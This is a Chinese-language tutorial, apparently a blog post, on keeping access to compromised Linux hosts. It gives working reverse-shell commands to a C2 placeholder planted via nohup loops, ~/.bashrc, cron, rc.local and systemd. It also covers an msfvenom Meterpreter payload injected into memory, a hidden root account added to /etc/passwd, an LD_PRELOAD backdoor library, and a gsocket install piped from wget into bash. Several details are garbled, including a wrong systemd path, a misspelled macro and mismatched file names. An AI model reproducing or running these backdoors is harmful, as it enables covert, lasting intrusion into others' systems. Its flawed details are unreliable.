在攻防中,权限维持是后渗透阶段的关键,是为了防止由于系统重启、管理员修改密码、漏洞被修复或网络中断而失去对系统的控制,从而留下一系列隐蔽后门的技术。
下面为大家分享一些 Linux权限维持的一些方法,包含有root权限和没有root权限的情况。
shell维权
在获得主机访问权限以后,shell是最基本的方式,不需要管理员权限,可以在任何账户下运行,所以适合无法获取管理员权限的环境。
可以通过使用 nohup 命令在后台运行,这样即使启动这个shell的终端关闭,也能够保持运行状态。
nohup bash -c "while :; do bash -i >& /dev/tcp/C2_IP/8888 0>&1; sleep 60; done" &
这里的无限循环会以可控的时间间隔( sleep 60 )持续尝试建立与服务器的反向 shell 连接,确保即使连接因任何原因断开,也会在设定的暂停时间后再次尝试连接,而不是频繁地重试。
这样即使你断开链接,60秒以后还是可以自动链接的,但是系统重启之后进程会停止。
自启动维权
利用 shell 启动文件中的用户级自动启动功能。
在目标用户的启动 ~/.bashrc文件中附加一条反向 shell 命令。每次该用户打开新的 shell 会话时(无论是通过本地登录、SSH 连接还是终端模拟器),附加的这行命令都会自动执行。
echo "nc C2_IP 8888 -e /bin/bash 2>/dev/null &" >> ~/.bashrc


echo 'mkfifo /tmp/f; /bin/bash -i < /tmp/f 2>&1 | nc C2_IP 8888 > /tmp/f; rm /tmp/f' >> ~/.bashrc
这个方法主要是链接时间没办法控制,可能需要很长时间才能从新获取权限
服务维权
这种持久化方法使用的是 systemd 服务,不依赖启动脚本,服务管理器会主动维护进程。如果进程因任何原因终止,systemd 会根据服务单元中定义的参数自动重启它,这提供了一种简单的.bashrc或基于循环的持久化方法所无法比拟的自我修复机制。
在 Linux 系统中,可以为特权用户和非特权用户创建服务。对于 root 用户级别的持久化,服务单元位于 /etc/services 目录下/etc/systemd/system/;而普通用户可以在 /etc/services 目录下创建用户级别的服务。 ~/.config/systemd/user/
vim /etc/systemd/system/persistence.service
vim /.config/systemd/user/persistence.service
该ExecStart行定义了反向 shell 连接。该Restart=always指令指示 systemd 在服务停止时重新启动它,同时RestartSec=60设置了两次重启尝试之间的受控延迟。这样既能保证服务的持久性,又能实现可调节的重连间隔。
服务文件就位后,必须启用并启动该服务:
systemctl enable persistence.service
systemctl start persistence.service
systemctl --user enable persistence.service
systemctl --user start persistence.service


服务持久化在重启后还能够正常运行,允许控制启动间隔,并且可以在任何账户下运行,中断了也可以启动从新启动,但是系统级安装需要管理员,没有root也可以作为用户服务运行,只在当前用户会话中生效。
计划任务
在Linux中,也可以通过计划任务来进行维权,这个方式不仅可以提供持久性,还能够精确控制执行的时间。在 Linux 系统上使用 cron,您可以指定任务有效负载运行的确切时间间隔,从而确保定期尝试连接,而无需依赖用户操作。这使其特别适用于需要持续在线但系统并非始终处于活跃使用状态的环境。
echo $'SHELL=/bin/bash\n* * * * * root bash ‐i >& /dev/tcp/C2_IP/9003 0>&1\n'> /etc/cron.d/pwn
这里创建了一个新的 cron 任务,/etc/cron.d/pwn并将 shell 显式设置为/bin/bash。该任务* * * * *指示 cron 每分钟运行一次命令,调用反向 shell 连接到您的主机。通过 TCP 重定向 shell 的输入和输出可以实现完整的远程交互,而将任务放在 则确保它在系统级别注册,并在重启后仍然有效。 /etc/cron.d/
如果用的是普通用户,可以用
(crontab -l 2>/dev/null; echo "0 */10 * * * /home/user/.binary") | crontab -
这样可以让 .binary 每10小时运行一次
这种方式重启后还可以正常运行,但是可能会需要root权限
内存维权
内存后门也是权限维持的一种,比如内存马等,这种方式可以不再磁盘上留下文件的情况下维持权限,因为这种方式不是把文件放到磁盘中,而是直接注入到内存中。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9005 exitfunc=thread StagerRetryCount=999999 -f raw -o meter64.bin
这里msfvenom生成一个原始的 Meterpreter 反向 TCP 有效负载,配置为连接到指定主机和端口上的 C2。
exitfunc=thread 控制有效载荷在完成或遇到错误时如何清理。线程意味着它只会终止当前运行的线程,而不会终止宿主进程的其余部分。这对于向合法进程注入内存至关重要,因为它可以避免进程崩溃并引起怀疑。
StagerRetryCount=999999指示部署程序在连接失败时重试最多 999,999 次。如果没有此指令,断开的连接可能需要重新注入有效载荷。有了此指令,后门程序会无限期地尝试连接,直到我们准备好接收连接为止。
然后就可以列出可以注入的进程
inject_linux 1032 mmap64.bin
inject_linux实用程序随后将二进制数据块注入到由 PID 标识的进程中,使该进程完全在内存中执行有效载荷。磁盘上不会创建新文件,也不会注册任何服务或计划任务。
这种方式可以在任何用户下运行,并且避免在磁盘上留下传统的痕迹,例如启动项或可执行文件。但是重启活主机进程结束后植入的程序会消失。
配置维权
通过更改一些Linux或一些其他的配置来实现持久化和其他的后门还有反弹shell不同,这个方式不会运行恶意代码,而是通过Linux系统自身的设置,来确保之后能够从新获取shell,这种方法一般需要在系统内有较高权限。
最常见的例子之一是创建隐藏用户帐户,以便将来进行远程登录
openssl passwd -1 -salt test P@ssw0rd123
echo 'post:$1$test$dIndzcyu0SmwXz37byHei0:0:0::/:/bin/sh' >> /etc/passwd
同时要确保PermitRootLogin yes,这样才可以远程连接
设置完成之后需要重启一次ssh服务
这种方式重启后依然有效,而且不需要运行任何恶意可执行文件。
LD_PRELOAD
利用LD_PRELOAD实现持久化,可以利用 Linux 中一项合法的动态链接特性,将自定义代码注入到每个新启动的进程中。LD_PRELOAD环境变量指示动态链接器优先加载指定的共享库,从而允许我们的代码覆盖或钩住用户空间应用程序中的标准库函数。这种方法可用于执行任意逻辑,包括建立 shell 或记录凭据。
比如先创建一个 meter.c 文件
#define _GUN_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("bash -c 'bash -i >& /dev/tcp/C2_IP/8888 0>&1'");
}
然后编译
gcc -fPIC -shared -o meter.so meter.c
接下来,把共享对象的路径写入到文件meter.so中/etc/ld.so.preload。动态链接器会全局读取此文件,这样无论哪个用户运行,所有动态链接的二进制文件都会加载指定的库。这需要 root 权限。
echo /path/to/meter.so >> /etc/ld.so.preload
然后,需要添加一条导出LD_PRELOAD=/path/to/meter.so语句/etc/profile,确保所有通过交互式 shell 登录的用户都会自动设置该环境变量。
echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile
此命令的作用相同,但仅针对单个用户,方法是将导出命令附加到该用户的配置文件中。~/.bashrc
echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc
这个方法在重启后同样有效。
rc.local
通过rc.local实现持久化依赖于 Linux 系统中一种传统的启动机制。如果/etc/rc.local脚本存在且可执行,它会在多用户启动序列结束时由 init 系统自动运行一次。通过向该文件中插入命令,这样可以确保我们的有效载荷在系统下次重启时自动执行。
echo "nc C2_IP 8888 -e /bin/bash &" >> /etc/rc.local
这会将一个 netcat 命令附加到/etc/rc.local启动过程中。执行该命令后,它会连接到主机 8888 端口并启动一个进程/bin/bash,从而提供一个交互式反向 shell。& 符号表示&该命令在后台运行,因此不会阻塞启动过程的其余部分。
由于rc.local该函数仅在启动时执行一次,因此有效载荷不会持续尝试重新连接。它只会在每次重启后运行一次。如果此时连接失败(例如,监听器未准备就绪或网络连接中断),则在下次重启之前不会再尝试重新连接。
目前的现代Linux发行版中, rc.local 通常是默认或者呗systemd服务文件取代。
Gsocket
Gsocket 是一个云中继,双方都连接到它,将各自的出站连接合并成一个加密的双向隧道。
这种机制对于攻击者来说,不需要受害机器开放端口,也不用做端口转发等等,而且一个云代理就可以成为多个目标的 c2 服务器,长时间运行的类似 TLS 的出站数据流会混入正常的出站流量中,因此这种连接看起来远比暴露的监听器更不可疑。
bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"
可以通过以上命令来进行安装。
上面就是一些Linux维权的方法,可以在根据实际环境进行灵活运用。